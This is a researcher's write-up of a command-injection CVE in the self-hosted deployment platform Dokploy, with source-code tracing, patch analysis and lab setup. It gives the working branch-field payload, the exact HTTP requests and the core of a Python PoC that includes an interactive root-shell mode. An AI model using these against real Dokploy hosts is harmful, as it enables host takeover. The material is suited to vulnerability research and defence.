A red team engagement put a vulnerable Dokploy instance in front of me. The CVE had a score, a patch, and no public exploit, so I read the write path and the deploy path, rebuilt the exact image in a lab, and wrote the missing PoC. This memo documents the write path, the deploy path, the lab repro, and the detection script.
1. The engagement, and the box that changed the report
Red team engagements rarely hand you a labelled target. They hand you a network, a scope document, and a list of things the client believes are fine. Somewhere in the middle of that, on a host nobody had flagged as interesting, I found a Dokploy instance.
Dokploy is a self-hosted deployment platform, the kind of product a team installs to get Heroku-style deploys on their own hardware. It serves a dashboard, and everything the dashboard does runs through a tRPC API under /api/trpc. Sessions are better-auth cookies. The default port is 3000. None of that is a vulnerability. It is a product doing its job.
Two things made the instance worth a second look. The API answered on a network I could reach, so the attack surface was not behind a VPN. And one query needs no session at all, settings.health at apps/dokploy/server/api/routers/settings.ts:949:
health: publicProcedure.query(async () => {
try {
await db.execute(sql`SELECT 1`);
return { status: "ok" };
} catch (error) {
console.error("Database connection error:", error);
throw error;
}
}),
A GET on that returns {"status":"ok"} with no cookie. It is a liveness check, not a version oracle, so it told me the API was up and the database was reachable. The version came the ordinary way: once the engagement gave me an account, settings.getDokployVersion at line 615 returns the build string straight out of the package manifest.
The build sat inside the range for CVE-2026-72867.
At that point the honest state of the finding was one sentence: this product runs a version with a known command injection. I have written that sentence before, and I have watched clients file it under patch management and move on. The advisory said a low-privileged user reaches host command execution. It did not say how, and there was no exploit to borrow.
So the engagement got a second workstream. Prove it or drop it.
The gap between "in range" and "proven" is the work this memo covers.
2. What the advisory gives you, and what it does not
The record is short. CVE-2026-72867, published through GitHub's security advisory programme, CWE-78 OS command injection, fixed in Dokploy 0.29.13. The published vector is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, base 9.9. The impact statement says a low-privileged authenticated user reaches arbitrary host command execution. It grounds the scope change in the installer: the app container runs as root with the Docker daemon socket mounted read-write, so container root is host root on a default install.
The advisory stops at impact: no field, payload, shell parsing detail, or output channel. The vendor fix closes seven advisories in one commit, which tells you the surface was wide and the remediation was centralized, but not where each sink sits.
So I took the two facts a record does give you, the fixed version and the fix commit, and worked backwards from the patch. Commit 47347ab is the map. It touches six files and adds one helper, shellWord, which passes every git field through shell-quote. Everything the commit wraps is a place where a stored string used to reach a shell:
export const shellWord = (value: string | number | null | undefined): string =>
quote([String(value ?? "")]);
Four lines that name the entire vulnerability class.
3. Write path
The first half of the bug is missing validation. A compose service stores a git configuration per service, including a branch. The update schema is a partial drizzle-zod schema at packages/server/src/db/schema/compose.ts:224:
export const apiUpdateCompose = createSchema
.partial()
.extend({
composeId: z.string(),
composeFile: z.string().optional(),
command: z.string().optional(),
})
.omit({ serverId: true });
createSchema refines the display fields, the compose file, and the environment. The branch columns, customGitBranch and its four provider siblings, fall through to the drizzle-zod default. A non-null text column becomes an unbounded string. No charset rule, no length cap, no shell-metacharacter rule.
The service below it does not add a second opinion either. packages/server/src/services/compose.ts:197:
export const updateCompose = async (
composeId: string,
composeData: Partial<Compose>,
) => {
const { appName, ...rest } = composeData;
const composeResult = await db
.update(compose)
.set({ ...rest })
.where(eq(compose.composeId, composeId))
.returning();
return composeResult[0];
};
Read that destructure carefully, because it is the one place where the codebase shows it knows the danger. appName is stripped from the update payload, and appName is the field that builds filesystem paths for the clone output. The author closed that door and left the branch names in the spread. A repo-wide grep for branch-name regexes in packages/server/src returns nothing at all.
The gate in front of the write is a service permission, service: ["create"] on the service being edited. That is where the low-privileged framing comes from: an account that can create its own compose service can write this field on that service. My lab run used the first user of a fresh install, which is the owner, so the lab proves the sink while the report states member reach as code-verified through the same gate.
4. Deploy path
The second half is interpolation. A compose deploy with sourceType: "git" reaches deployCompose at services/compose.ts:213, which builds the clone command at line 246 and wraps it for the log at line 253:
command += await cloneGitRepository(entity);
...
let commandWithLog = `(${command}) >> ${deployment.logPath} 2>&1`;
cloneGitRepository at packages/server/src/utils/providers/git.ts:61 builds the clone, and in v0.29.12 that build is the vulnerability in plain sight:
command += `if ! git clone --branch ${customGitBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${customGitUrl} ${outputPath}; then
echo "❌ [ERROR] Fail to clone the repository ${customGitUrl}";
exit 1;
fi
`;
The finished string goes to Node's child_process.exec at utils/process/execAsync.ts:57, which runs it through /bin/sh -c. Nothing between the PostgreSQL row and the shell inspects the branch value. This is the store-then-interpolate shape: the code treats "it came from our own database" as a sanitizer, and it is not one.
Five builders share the pattern. GitHub interpolates branch, GitLab gitlabBranch, Bitbucket bitbucketBranch, Gitea giteaBranch, and the custom-git builder customGitBranch. The custom-git path is the cleanest trigger for a test, because the other four route through an OAuth application you configure first. One code shape, five doors, and the simplest one needs no third-party setup.
5. Payload engineering
The payload is the part an advisory cannot give you, and it took three attempts.
Attempt one was a bare command substitution in the branch field. It does nothing. The value lands in the middle of the clone line, so the substitution expands into a word that git reads as a revision name. The clone fails with an invalid-branch error, the command never leaves git's argument list, and the log shows an ordinary failure. If you only read the deployment status, you conclude the bug is not real.
Attempt two was a semicolon and a command. That runs, and then breaks the script. The clone lives inside an if ! ...; then ... fi block. A semicolon leaves extra words after your command, the parser reaches the terminator with junk where it expects a newline or a then, and the shell reports a syntax error before executing anything.
Attempt three shipped. The payload:
main;echo DOKPLOY72867-r7rood2u-u$(id -u)-$(id -un)-h$(hostname);echo
What /bin/sh -c actually receives:
if ! git clone --branch main;echo DOKPLOY72867-...-u0-root-h17fb7458580a;echo --depth 1 --progress https://github.com/dokploy/dokploy.git /etc/dokploy/compose/.../code; then
Three statements. The clone runs and fails on a branch that does not exist. The marker echoes, carrying uid, login name, and container hostname. The trailing echo, with the space before it, turns what used to be clone arguments into arguments to echo, so the if block stays syntactically valid and the shell reaches its terminator cleanly.
The marker carries three values on purpose. The uid and login name prove the identity the command ran as. The hostname ties execution to one container, which matters later when you want to cross-reference the same filesystem from another primitive. A marker of "PWNED" proves only that you can type.
The deployment still ends in an error state. That is expected, and it is worth saying out loud in a client report before somebody reads the status column and calls the PoC broken. The clone failing is the cover story. Your commands ran first.
6. Readback oracle
A blind RCE is a hard sell, and an out-of-band listener is not always available on an engagement. This bug has a better channel built in, and it comes from the same line that makes the injection possible.
Deploy output is redirected into a per-deployment log file at compose.ts:253. That file is readable through the product's own API. deployment.readLogs at apps/dokploy/server/api/routers/deployment.ts:238 takes a deployment id and a tail count and returns the contents. The default member role holds deployment: ["read", "create", "cancel"] at packages/server/src/lib/access-control.ts:177.
The exploit closes its own loop. Store the payload, queue the deploy, poll until the deployment finishes, read the log, find the marker. No listener, no inbound rule, no egress dependency. The same session that launched the attack reads the proof.
Command output lands in a file the attacker can already read through a documented endpoint. That turns a blind RCE into a read-capable one without a single outbound connection, and it is why the impact claim is C:H rather than an inference.
7. Rebuilding the target in the lab
The lab runs the published image, not a source build, because the client runs the published image. dokploy/dokploy:v0.29.12, Postgres 15, Redis 7, all on one Docker network, with the app container getting the environment it expects: database URL, Redis host, auth secret, port, production mode.
Lab setup required four fixes before the exploit would run:
- Swarm: database deploys fail without a swarm manager, so
docker swarm initcomes first. - Overlay network: service deploys need an attachable overlay called
dokploy-network, which the installer creates and a hand-rolled lab does not. - Database hostname: the connection string has to name the Postgres container, not localhost. The first boot sat in
wait-for-postgresuntil I fixed that. - Image size: 4.26 GB. The first pull is the long pole of the whole session; everything after it takes seconds.
The socket mount is copied from the installer on purpose: --mount type=bind,source=/var/run/docker.sock,target=/var/run/docker.sock. Without it the lab proves container RCE, which is a smaller claim than the advisory makes. With it, the lab matches the client's deployment and the scope-change half of the score rests on something I ran.
8. The repro, request by request
Three requests against http://localhost:3000, with a session cookie from the first user. Bytes below are trimmed to the load-bearing parts; the full pairs live in the evidence set.
Store the payload. compose.update accepts it without complaint:
POST /api/trpc/compose.update?batch=1 HTTP/1.1
Content-Type: application/json
{"0":{"json":{"composeId":"nofW0d_JwkXByje49Tfzi","sourceType":"git","customGitUrl":"https://github.com/dokploy/dokploy.git","customGitBranch":"main;echo F0NDAYRAW-u$(id -u)-$(id -un);echo"}}}
HTTP/1.1 200 OK
[{"result":{"data":{"json":{"composeId":"nofW0d_JwkXByje49Tfzi","name":"raw-compose","customGitBranch":"main;echo F0NDAYRAW-u$(id -u)-$(id -un);echo"}}}}]
The response returns the raw string. No validation rejected it.
Queue the deploy:
POST /api/trpc/compose.deploy?batch=1 HTTP/1.1
Content-Type: application/json
{"0":{"json":{"composeId":"nofW0d_JwkXByje49Tfzi"}}}
HTTP/1.1 200 OK
[{"result":{"data":{"json":{"success":true,"message":"Deployment queued","composeId":"nofW0d_JwkXByje49Tfzi"}}}}]
Read the log back:
GET /api/trpc/deployment.readLogs?batch=1&input=... HTTP/1.1
Initializing deployment
Cloning Repo Custom https://github.com/dokploy/dokploy.git ...
F0NDAYRAW-u0-root
--depth 1 --progress https://github.com/dokploy/dokploy.git ...
... Fail to clone the repository ...
That middle line is the finding. The marker is in the deployment log, the uid is zero, the login name is root. The clone error under it is the trailing echo swallowing the rest of the line, exactly as designed.
The behavior matrix from the lab:
- Branch
main: normal clone attempt, no marker, deployment succeeds. - Branch with the marker payload: marker in the log, deployment fails.
- Payload stored but deploy never queued: no execution, no marker, which proves the write alone is inert.
- Bare command substitution without the separator: no marker, invalid-branch error, which is attempt one failing exactly as predicted.
9. Turning the repro into poc-cve-2026-72867.py
The script is those three requests with no dependencies, so it runs on a hardened jump box. It exits 0 only when the expanded marker comes back in the log.
The script uses urllib with a cookie jar, json, random for the marker, and nothing else.
The flow:
- Authenticate: sign up on a fresh install, where the first user becomes owner, or sign in with credentials you were given.
- Create a project and its default environment through
project.create. - Create a compose service through
compose.create. - Store the payload through
compose.updatewithsourceType: "git"and the marker branch. - Read the row back through
compose.oneand assert the payload survived byte for byte. - Queue the build through
compose.deploy. - Poll
deployment.allByComposeuntil the newest deployment reachesdoneorerror. - Read
deployment.readLogs, match the expanded marker (uid already substituted), print the hit, exit zero.
The detector only accepts the expanded form. A patched build still echoes the raw branch text in git's error message, so a substring match on the marker would score a fixed target as vulnerable. Requiring the substituted uid is the difference between a log line and an execution.
The check after the update is the part I care about most. Without it, a failure downstream is ambiguous: you cannot tell whether the payload was rejected at the edge or lost in the worker. With it, every later failure has exactly one meaning.
The core:
MARK = "DOKPLOY72867-" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
PAYLOAD = f"main;echo {MARK}-u$(id -u)-$(id -un)-h$(hostname);echo"
d.trpc("compose.update", {"composeId": compose_id, "sourceType": "git",
"customGitUrl": "https://github.com/dokploy/dokploy.git",
"customGitBranch": PAYLOAD})
stored = d.trpc("compose.one", {"composeId": compose_id}, method="GET")
row = stored.get("compose", stored)
if row.get("customGitBranch") != PAYLOAD:
sys.exit("[-] branch payload not persisted (rejected at the edge?)")
d.trpc("compose.deploy", {"composeId": compose_id})
# poll deployment.allByCompose, then deployment.readLogs(tail=3000)
The run:
[*] target: http://localhost:3000 marker: DOKPLOY72867-r7rood2u
[*] target up (settings.health ok)
[+] signed up (fresh install, owner session)
[+] project TNILHbkFJyaz6TWMYmfFt env m0025DBBnAc-DMu2K_R-6
[+] compose y_MUIhtDpIQt5zZ5zZTSY
[+] evil branch persisted via compose.update (no server-side validation)
[*] deploy queued, polling deployments...
[*] deployment S32sAXUlR35d7cB0fUedY status=error
======================================================================
RESULT: RCE CONFIRMED
log: DOKPLOY72867-r7rood2u-u0-root-h17fb7458580a
The script takes --url, optional --email and --password, a --mode of auto, signup, or signin, a --timeout for the deploy wait, --insecure for self-signed targets, and --shell for an interactive prompt. It prints the marker line rather than a bare verdict, because a client reading "RCE CONFIRMED" without the uid in front of them is reading an assertion, not evidence.
--shell loops the store-deploy-read cycle per command, with fresh random markers each round. That mode found its own bug on the first live run: successive deploys landed in the same createdAt second, so newest-by-timestamp returned a stale deployment and later commands read the wrong log. The poll now snapshots known deployment ids before queueing and waits for one outside the set. About three seconds per command in the lab, one deploy each, fresh root shell every time.
10. Impact
Authenticated low-privileged command execution as root inside the app container, with output readable through the product's own log endpoint. The stored branch value reaches /bin/sh -c unmodified; the lab run returned uid 0 and the container hostname in the deployment log.
On a default install the app container mounts the Docker daemon socket read-write, so container root reaches the host. The lab reproduced that mount and confirmed the daemon answers from inside the container.
Limits, as tested: the lab ran as the first user of a fresh install (owner). Member reach was verified in code through service: ["create"] on the edited compose, not with a live member session. The chain needs authentication and a compose service the caller can access; it does not cross organizations.
11. Fix
Fixed in 0.29.13, commit 47347ab: a new shellWord helper in packages/server/src/utils/providers/utils.ts wraps every git field in all five providers through shell-quote, plus the ssh-keyscan port and hostname. Published vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9, CWE-78).
That closes the known sinks. The write path still accepts arbitrary strings, so a branch-name allowlist on create and update (letters, digits, dot, underscore, slash, dash, anchored, length-capped) would keep the next caller from reintroducing the same shape.
12. What this changed for the engagement
For the client, the finding stopped being a line in a scanner export. The report carried the stored row, the deployment id, the log line with uid 0, and the socket proof. That is the difference between a patch ticket and an incident response conversation, and it is why the engagement asked for the exploit in the first place.
Building this PoC surfaced three additional 0days in the same codebase. They are in coordinated disclosure now; I will write them up once the CVE numbers are assigned.
Method, stated once: the patch names what was missing, the advisory names which version to test, the lab confirms whether either claim holds.
PoC: poc-cve-2026-72867.py, stdlib only, tested against dokploy/dokploy:v0.29.12.
@article{lulz2026_dokploy-cv,
author = {Lulztigre},
title = {CVE-2026-72867 in Dokploy: From Advisory to Working PoC},
journal = {Lulztigre Dispatches},
year = {2026},
url = {https://lulztigre.pw/posts/dokploy-cve-2026-72867-working-poc.html}
}